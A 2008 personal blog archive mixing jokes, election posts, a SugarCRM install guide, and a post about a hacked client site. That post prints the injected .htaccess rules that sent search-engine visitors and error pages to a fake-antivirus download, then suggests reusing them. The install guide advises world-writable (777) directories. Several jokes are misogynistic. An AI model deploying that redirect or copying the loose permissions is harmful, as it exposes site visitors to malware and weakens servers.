This was written by a guy who is pretty damn smart.

One evening last week, my girlfriend and I were getting into bed. Well, the passion starts to heat up, and she eventually says,
‘I don’t feel like it, I just want you to hold me.’
I said,
‘WHAT??!! What was that?!’
So she says the words that every boyfriend on the planet dreads to hear…
‘You’re just not in touch with my emotional needs as a woman enough for me to satisfy your physical needs as a man.’
She responded to my puzzled look by saying,
‘Can’t you just love me for who I am and not what I do for you in the bedroom?’
Realizing that nothing was going to happen that night, I went to sleep.
The very next day I opted to take the day off of work to spend time with her. We went out to a nice lunch and then went shopping at a big, big unnamed department store. I walked around with her while she tried on several different very expensive outfit s. She couldn’t decide which one to take, so I told her we’d just buy them all. She wanted new shoes to compliment her new clothes, so I said, ‘Lets get a pair for each outfit.’
We went on to the jewelry department where she picked out a pair of diamond earrings. Let me tell you… she was so excited. She must have thought I was one wave short of a shipwreck. I started to think she was testing me because she asked for a tennis bracelet when she doesn’t even know how to play tennis
I think I threw her for a loop when I said,
‘That’s fine, honey.’
She was almost nearing sexual satisfaction from all of the excitement. Smiling with excited anticipation, she finally said, ‘I think this is all
dear, let’s go to the cashier.’
I could hardly contain myself when I blurted out,
‘No honey, I don’t feel like it.’
Her face just went completely blank as her jaw dropped with a baffled,
‘WHAT?’
I then said,
‘Honey! I just want you to HOLD this stuff for a while. You’re just not in touch with my financial needs as a man enough for me to satisfy your shopping needs as a woman.’
And just when she had this look like she was going to kill me, I added,
‘Why can’t you just love me for who I am and not for the things I buy you?’
Apparently I’m not having sex tonight either….but at least that b!tch knows I’m smarter than her.

Posted on October 24th, 2008 by Furious Citizen
Filed under: Humor | No Comments »

Today I took on installing SugarCRM 5.1.0a for a client of mine who is just falling head over heals in love with all the whole concept of Open Source.

This software has a really long list of requirements and I wouldn’t recommend it to people using shared hosting but this customer has a virtual dedicated server with WHM/Cpanel 11 on it.  Having a dedicated box (even virtualized) enables root access aka the ability to change whatever I need to in order to make things work..

The first holdup I encountered was “session save path” not being defined inside of the php.ini configuration file.

You can find the php.ini on a WHM/Cpanel server at “/usr/local/lib/”

I went and enabled it by removing the comment tag from inside of the php.ini file for it.  This did not fix the problem because  SugarCRM is picky and doesn’t like shared hosting environments.  I found this forum post that describes a work around to define this path but the author posted no examples.  My setup is hosted on a sub domain so my example is for that.

Inside of your htaccess file for the domain add the following

php_value session.save_path /home/accountuser/public_html/subdomain_directory/tmp/

Create a directory called “tmp” inside of your subdomain_directory (or whatever directory you are using) and chmod it “777″ to make it writeable.

That got me around the first hurdle.

The second holdup was also related to settings in php.ini but this is also a security/cost issue.  The software wants to be able to have users submit large files through the web interface but you could see your hosting costs rise exponentially if employees abuse this.

In any case this is a small company and they hardly use any of their bandwidth on this server so I went ahead and adjusted these settings.  You will need to look for “upload_max_filesize” and “post_max_size” inside of php.ini and make the changes as required.  After you do that the rest of the permission settings for files and folders is standard as with any web app installation.

The third holdup was the step where you need to add a database for Sugar CRM, as usual I went about trying to use Cpanel to generate a database and user.  Unusually though this did not work, I could not get SugarCRM to use any database with a user I created.  Admittedly I didn’t play with this or do any googling on the topic I just went into WHM to open PHPMyAdmin as root and created a new user/database inside of that.  The database created through PHPMyAdmin worked perfectly and I was able to move forward.

The fourth holdup was the installer outputting some permission denied errors that ended with “sugar_file_utils.php on line 59″.  I found a great topic on the forums that quickly informed me that the Sugar CRM software requires the apache user account to be the owner of the folder that Sugar CRM is resides in.  I search Google for the account that WHM uses but was unable to find anything useful.  I changed tactics and searched for a way to display the user running apache, sure enough I found a way to display that in moments.

Display the user running apache with this command “ps aux | grep apache”

The user came back as “nobody” so I went and added them as the owner of my “subdomain_directory”

Run the command  “chown -R nobody.nobody /home/accountuser/public_html/subdomain_directory/”

After that SugarCRM let me login with the username and password I had setup which makes this install one of the least simple I have ever worked with but at the sametime a certainly doable project.

Posted on October 8th, 2008 by Furious Citizen
Filed under: Programming, Technology | No Comments »

Have you seen the new HBO Mini-Series about John Adams?

http://www.hbo.com/films/johnadams/

I am very, very, very, political so this appeals to me on many levels, still with all the complete “fucktards” in political office today I feel like its more important than ever to remember why we have a democracy.

America is amazing.  We shall return to the glory state of our forefathers dreams, first things first, lets get Obama elected!!!!!!!!!

Posted on October 5th, 2008 by Furious Citizen
Filed under: Election 2008, Politics | No Comments »

Well okay more like milf (if she’s a mom) but she literally lets her pit bull out in this video clip while egging Joe Biden to attack Sarah Palin in the debates.

Posted on October 1st, 2008 by Furious Citizen
Filed under: Election 2008, Politics | No Comments »

I did not write this I was linked to it from this site, however I thought it warranted being shared and that site can’t be submitted to any social news sites.  I have messaged the Author letting them know this is posted but unless they ask me to take it down I will leave it up.

You may be right.

You probably make more than $250,000 a year, and that does mean that your taxes would probably go up if Obama were elected. There’s something bigger going on here, though. Something more important than your wealth.

I know, we’ve relied on your wealth our entire lives. We still rely on your wealth. And that is what is more important.

We are the first generation- we, Generation Y, or the Millennial Generation, or Twixters, or whatever you want to call us- we are the first generation to have less economic opportunity than our parents.

When you were our age, you could graduate from high school and get a job that would provide for you family. So many more of you went to college than your parents. Generation X, our predecessors, could count on a job out of college that would provide them the same. Now? With our bachelor’s degrees, we can get secretarial positions that pay us slightly more than minimum wage. If we’re lucky.

We are the first generation in the history of this country with less opportunity than you, our parents.

And that is was this election is about. Yes, you might lose some money to taxation, but you’re not going to get taxed out of your home. But you don’t have much to worry about. You’re set for life- you have Social Security. You have money already saved away for your retirement. We don’t.

And we know why you want to maintain your wealth. It’s for us. You want to know that your children, and our children, are provided for when you’re gone. And we appreciate that. But we want more- we want what you had when you were our age. We want to opportunity to build our own wealth, and to provide for our own families.

I think I understand you. Obama and his politics frighten you, because they are not FOR you. For the first time in your lives, this election is not about you. It is about us. It’s about whether we will start to shift our policies for the realities of OUR lives, and not for yours. It’s a statement that perhaps your time has passed. Of course that seems unfair- you’re still working hard, you’re still active and healthy, but that’s where we are now. The time seems to have come in this country to stop building policy around you, and to begin to build policy around us.

We are already worrying about providing our children with the health care. We grew up surrounded by the struggle of you and our friends’ parents trying to cover the health care expenses of children with ADHD and autism. We don’t even dream of making what you made when we were children. We see home ownership as a terrifying and impossible dream and risk at once, no longer a standard step towards adulthood and security. We are ready to start providing for our children, and you are terrified to take the next step in providing for yours. The step of letting them take charge of their own destinies.

Your fears are warranted. We don’t have the experience that you do, we don’t have the resources, or the opportunities. But we share with you one fundamental thing- our values. American values. We want to make a life for ourselves, to eke out our own niche, our own livings, and provide everything for our own families.

You will never be able to prepare us for this, but you are our parents. It’s your job to understand us and to support us. To help us make the right choices. Not to take all choices away from us.

Thank you for the past thirty years. They’ve been so different from the thirty years before, and we are different people than you were when you were thirty years younger. But you’ve finished your job, and we’re ready to claim our country.

Thank you to the girl from Chicago who shared this.

Posted on October 1st, 2008 by Furious Citizen
Filed under: Election 2008, Politics | No Comments »

Joke of the Week!!!

1. Fred runs his wife Lisa over with his car
2. Police arrive on the scene
3. What is the first question the police ask Fred?

Why were you driving in the kitchen?

Posted on September 19th, 2008 by Furious Citizen
Filed under: Humor | No Comments »

Have you ever clicked a result in Google and gotten redirected to spyware? That may not be something running on your computer!  There is a new attack out there letting the baddies infect your local businesses website!

One of my clients from last year recently had their site hijacked by people with less than honorable intentions. All traffic coming from Google and all the error pages on the site were being redirected to a download for win antivir 2009.

The details are still emerging on how the site was compromised but from the information that I have I think the cause can be narrowed down to either an unpatched CMS or the host themselves was hijacked.   I have now locked down the CMS control panel down so you can’t access it via the web anymore, hopefully this keeps the baddies at bay for a little while.

Fun, Fun, for this company and even more fun for me since I had recently experienced this hijack as a user when Googling a local restaurants site.  Through whatever means they used to hijack the site they were able to inject the following into the .htaccess file.

RewriteEngine On
RewriteCond %{HTTP_REFERER} .*google.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*aol.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*msn.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*altavista.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*ask.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*yahoo.*$ [NC]
RewriteRule .* http://255.255.255.255/in.html?s=example [R,L]
Errordocument 404 http://255.255.255.255/in.html?s=example

The reason I am sharing this is that there are a lot of legitimate uses for this type of script,  I hope that some of you other webmasters out there can use it.  One example would be a site administrator who wanted to redirect search engine traffic to sign up pages while still letting Google index the site.

Posted on September 19th, 2008 by Furious Citizen
Filed under: Google, Industry News, Programming, Technology | No Comments »

What if we could define Women in computer terms?

HARD-DISK Woman: She remembers everything, FOREVER.
RAM Woman: She forgets about you, the moment you turn her off.
WINDOWS Woman: Everyone knows that she can’t do a thing right, but no one can live without her.
EXCEL Woman: They say she can do a lot of things but you mostly use her for your four basic needs.
SCREENSAVER Woman: She is good for nothing but at least she is fun!
INTERNET Woman: Difficult to access.
SERVER Woman: Always busy when you need her.
MULTIMEDIA Woman: She makes horrible things look beautiful.
CD-ROM Woman: She is always faster and faster.
E-MAIL Woman: Every ten things she says, eight are nonsense.
VIRUS Woman: Also known as “WIFE”; when you are not expecting her, she comes, installs herself and uses all your resources. If you try to uninstall her you will lose something, if you don’t try to uninstall her you will lose everything

I know, I know, It’s a geeky “joke”.  Well sorry but I can’t post an adult related one every week.

Posted on September 14th, 2008 by Furious Citizen
Filed under: Humor, Technology | No Comments »

Welcome StumbleUpon Visitors!!!

I’ve been so busy this weekend celebrating my Birthday (I turned 23 years old last week) that I didn’t check the server logs until this evening.   The Home Depot Joke hit it big on Friday and I have had 4,000 times normal traffic levels on here since.

Credit must be given to WordPress for an awesome publishing platform and for the Super-Cache plugin that is keeping this site from crashing under all the traffic.

My guess is that this surge in traffic won’t last more than another day or two but I will be sure to share some more jokes on here because of this.  How would you feel if I were to share a dirty joke every Friday to keep you people interested?  Leave a comment with your answer.

And to all you crawling the site, Thank You for Visiting!!

Posted on September 8th, 2008 by Furious Citizen
Filed under: Site News, Technology | 1 Comment »

If McCain wanted nothing but a Woman with a pretty face he should have just picked his wife as his VP.

Posted on August 30th, 2008 by Furious Citizen
Filed under: Election 2008, Politics | No Comments »